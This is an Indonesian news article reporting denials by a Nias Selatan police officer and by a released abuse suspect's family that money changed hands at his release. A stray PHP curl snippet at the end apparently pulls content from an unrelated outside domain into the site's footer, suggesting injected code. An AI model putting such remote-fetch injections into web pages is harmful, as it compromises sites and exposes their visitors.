Kanit PPA Polres Nisel Bantah Keras, Dalam Plastik Hitam Saat Penyerahan Kepada Sokhizatulo Telaumbanua Bukan Uang.

Kamis, 5 Oktober 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info l Nias – 04 Oktober 2023 –
Nias Selatan , Sokhizatulo Telaumbanua (30) tenaga Guru honorer di salah satu SD Negeri di Kecamatan Gomo, Kabupaten Nias Selatan, Provinsi Sumut, terduga persetubuhan anak dibawah umur inisial (ML) (16) hingga melahirkan, Rabu (04/10/2024).

Terduga dibui Polres Nias Selatan sejak 02 Mei 2023 berawal dari laporan Polisi Nomor : LP/B/53/IV/2023/SPKT/POLRES NIAS SELATAN/POLDA SUMATERA UTARA, pada tanggal (14/03/2023), Pelapor adalah Bawönaso Laia orangtua (ML) sendri.

Pada tanggal 29 Agustus 2023 Sokhizatulo Telaumbanua terduga dibebaskan setelah selama 120 hari atau 4 bulan lamanya ditahan Polres Nias Selatan dengan alasan masa tahanan habis demi hukum dipulangkan kepada pihak kelurga.

Berbagai pertanyaan muncul isu panas di tengah – tengah publik dengan pemberitaan di salah satu media Online bahwa, “Sokhizatulo Telaumbanua dibebaskan oleh Polres Nias Selatan diberikan ganti rugi sebesar Rp.70.000.000 Juta, yang mana sebelumnya pihak kelurga menuntut ganti rugi dan rehabilitasi sebesar Rp.500.000.000 Juta, dilansir dari media Chibernews.co.id pada tanggal 19 September 2023 lalu.

Baca Juga:  Cegah Karhutla, Bhabinkamtibmas Polsek Krueng Sabee Berikan Sosialisasi dan Himbauan Karhutla

Terkait berita tersebut tim media mengkonfirmasi pihak kelurga Sokhizatulo Telaumbanua An. Thomas Baene, menyampaikan bahwa saat penyerahan Saudara Sokhizatulo Telaumbanua oleh Polres Nias Selatan kepada pihak kelurga tidak ada memberikan uang ganti rugi sebesar Rp.70 Juta sebagaimana yang diberikan media Online tersebut itu tidak benar,” Jelas Thomas Baene.

“Thomas Baene sangat menyangkan atas pemberitaan saudara An. Agustinus Zebua Kaperwil media Online Chibernews.co.id pada tanggal 01 Oktober 2023, yang berjudul, (Kelurga Tersangka Cabul Thomas Baene Diduga Memberikan Tanggapan Hoaks Dibeberapa Awak Media) seakan-akan dalam pemberitaannya itu benar Polres Nias Selatan telah memberikan uang sebesar Rp. 70 Juta apa buktinya? Kesal Thomas Baene. Berdasarkan hal itu pihak kelurga dan terduga Sokhizatulo Telaumbanua segera melaporkan saudara Agustinus Zebua ke APH yang menuding kami menerima uang suap dari Polres Nias Selatan atas bebasnya Sokhizatulo Telaumbanua. “Tegas Thomas, Senin 02 Oktober 2023 sekira pukul 14:21 Wib ketika dikonfirmasi melalui telpon selulernya.

Baca Juga:  Peringatan Hari Pramuka Ke 62, Tingkat Kwarran Gunung labuhan Tahun 2023, di Hadiri Wakil Bupati.

Tambah Thomas Baene setelah saya tanyakan kepada saudara Agustinus Zebua kalau boleh tau dari mananya mengetahui, tempat melihat uang yang sebesar Rp.70 Juta itu sesuai dengan pemberitaan Bapak? Namun Agustinus Zebua menentang mengatakan saya sudah gila/stres, “Tunggu saja episode selanjutnya Ketua Slow tapi pasti ancam Agustinus Zebua kepada saya.

Dihari yang sama saat dikonfirmasi tim media terduga Sokhizatulo Telaumbanua, menyampaikan secara tegas apa yang disampaikan Thomas Baene kepada Pers benar bukan Hoaks karena Thomas Baene berada saat saya diserahkan Polres Nias Selatan kepada pihak kelurga, yang diduga uang dikantong plastik hitam yang diserahkan Kanit PPA itu berupa dompet dan handphone saya bukan uang,” Tandas Sokhizatulo Telaumbanua.

“Saya sangat keberatan dengan berita itu kenapa? Sama halnya saya ini menerima suap dari Polres Nias Selatan selama 120 hari atau 4 bulan lamanya ditahan, lalu dibebas kerena tidak mencukupi alat bukti atas dugaan mencabuli anak dibawah umur hingga melahirkan.” Ucapnya.

Baca Juga:  Kantor FKWKP Dikunjungi Kapala Cabang Aksi Cepat Tanggap (ACT) Bandar Lampung

Menepis berita miring Kaperwil media Online Chibernews.co.id tersebut tim media konfirmasi Kanit PPA Polres Nias Selatan Aipda Jekson Pardede, mengatakan berikut :
“Mohon izin mengklarifikasi ya Pak terkait foto penyerahan isi dalam plastik hitam tersebut adalah barang milik Sokhizatulo Telaumbanua berupa Dompet dan Handphone miliknya. Tidak pernah kita menyerahkan sejumlah uang dalam bentuk apapun agar lebih akurat, dapat dikonfirmasi langsung kepada yang bersangkutan An. Sokhizatulo Telaumbanua,” Jelas Kanit PPA.

“Yang intinya kita semua bisa memahami dengan bijak atas pemberitaan tersebut, agar masyarakat pembaca tidak terlalu menanggapi isu tersebut dan cepat percaya,” Cetus Jekson Pardede, Rabu (03/10/2023 sekira pukul 22:28 Wib malam kepada Pers melalui WhatsApp.

(TZ)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Pj.Bupati Pringsewu Terima Pengurus Forum Komunikasi Honorer Nakes dan Non Nakes
Terendus Dugaan Menipulasi Pajak Karoke De’Amore Minta Solusi Petugas Untuk Berdamai
Polres Lampung Selatan Gelar Operasi Zebra Krakatau 2024 Dukung Kelancaran Pelantikan Presiden dan Wakil Presiden
Kades Sukaraja Diduga Terlibat Politik, PIN RI Kritik Bawaslu Pesawaran
Gubernur Lampung Didesak Jaga Netralitas, Mutasi Jabatan Selama Masa Politik Tuai Kecurigaan
Mau Tawuran di Ketapang Lamsel, 13 Pelajar Kocar-kacir Didatangi Polisi
Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara
Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan

Berita Terkait

Rabu, 16 Oktober 2024 - 08:46 WIB

Pj.Bupati Pringsewu Terima Pengurus Forum Komunikasi Honorer Nakes dan Non Nakes

Selasa, 15 Oktober 2024 - 07:41 WIB

Terendus Dugaan Menipulasi Pajak Karoke De’Amore Minta Solusi Petugas Untuk Berdamai

Senin, 14 Oktober 2024 - 14:28 WIB

Polres Lampung Selatan Gelar Operasi Zebra Krakatau 2024 Dukung Kelancaran Pelantikan Presiden dan Wakil Presiden

Senin, 14 Oktober 2024 - 14:19 WIB

Kades Sukaraja Diduga Terlibat Politik, PIN RI Kritik Bawaslu Pesawaran

Minggu, 13 Oktober 2024 - 19:18 WIB

Gubernur Lampung Didesak Jaga Netralitas, Mutasi Jabatan Selama Masa Politik Tuai Kecurigaan

Berita Terbaru

Peristiwa

Kecelakaan Tunggal di Kota Depok, Mobil tabrak Minimarket

Rabu, 16 Okt 2024 - 14:09 WIB

Peristiwa

Dianggap Tebar Fitnah, Akun @syahwalali Resmi Dilaporkan

Rabu, 16 Okt 2024 - 13:37 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>